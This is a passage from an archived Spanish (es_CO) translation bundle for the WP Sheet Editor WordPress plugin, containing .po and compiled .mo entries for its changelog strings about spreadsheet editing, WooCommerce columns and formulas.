Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-es_CO.mo000064400000026437147600365160013436 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_CO MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_CO.po000064400000032041147600365160013425 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_CO\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

